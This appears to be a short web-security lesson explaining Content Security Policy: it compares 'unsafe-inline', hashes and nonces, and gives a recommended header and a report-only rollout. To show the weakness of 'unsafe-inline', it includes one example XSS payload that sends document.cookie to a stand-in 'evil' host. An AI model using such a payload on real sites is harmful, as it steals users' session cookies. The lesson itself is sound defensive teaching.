HAMZA KAREEM / CONCEPTS hamzawi.dev

Lesson 571 min read

Content Security Policy (nonce vs hash)

Web developmentweb development / security

Where you meet this

You finally ship a CSP header to kill XSS. The page goes blank:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"

You have three ways to allow your own inline scripts. Two of them are traps.

Side by side

  1. 'unsafe-inline'
script-src 'self' 'unsafe-inline'
Blocks: nothing that matters. An injected <script>fetch('//evil/'+document.cookie)</script> runs happily.
Effort 0, security ~0. It's CSP-shaped, not CSP.
  1. Hash
script-src 'self' 'sha256-K5x...='
Browser SHA-256s the exact inline script text and compares. One whitespace change = broken page.
Best for: a fixed inline bootstrap you rarely touch, or static HTML on a CDN.
printf '%s' "$(cat inline.js)" | openssl dgst -sha256 -binary | base64
  1. Nonce
script-src 'self' 'nonce-8Xk2pQ...'
<script nonce="8Xk2pQ...">...</script>
Server mints a fresh random value per response and puts it in BOTH the header and the tag. An attacker injecting HTML can't guess it.
Best for: server-rendered pages — the common case.

What people actually get wrong

  • A nonce must be per-response and unpredictable: 16 random bytes, base64. A nonce hardcoded in a template, or cached by your CDN, is worse than nothing — it becomes a permanent password the attacker just copies out of the page.
  • So nonce + cached HTML don't mix. Either Cache-Control: no-store on the HTML, or use hashes.
  • 'unsafe-inline' is IGNORED by modern browsers whenever a nonce or hash is present. That means you can keep it purely as an old-browser fallback without weakening anyone else.
  • Allowlisting a CDN host (script-src https://cdn.example.com) is usually bypassable — big CDNs host JSONP endpoints and ancient AngularJS that turn into arbitrary execution. Nonces beat host allowlists.
  • Inline event handlers (onclick="save()") can't be nonced at all. There's no tag to put the nonce on. They need addEventListener.

A header worth shipping

Content-Security-Policy:

script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none'

Reading it right to left:

  • 'strict-dynamic' — a nonced script may load its own children, so your bundler's hashed chunks work without listing every URL.
  • https: 'unsafe-inline' — dead weight for modern browsers (ignored), a fallback for old ones.
  • object-src 'none' — kills <object>/<embed> plugin vectors.
  • base-uri 'none' — stops an injected <base href> from repointing all your relative script URLs at an attacker.

Roll it out without breaking prod

Ship it as Content-Security-Policy-Report-Only with report-to first. It enforces nothing and only reports violations. Watch for a week, fix what shows up, then rename the header.

Your exercise

Pick one page you own. Add the Report-Only header above and collect violations for an hour. Then sort them into two piles: scripts you can add a nonce to, and inline onclick/onsubmit handlers you can't. That second pile is your real migration cost — how big is it?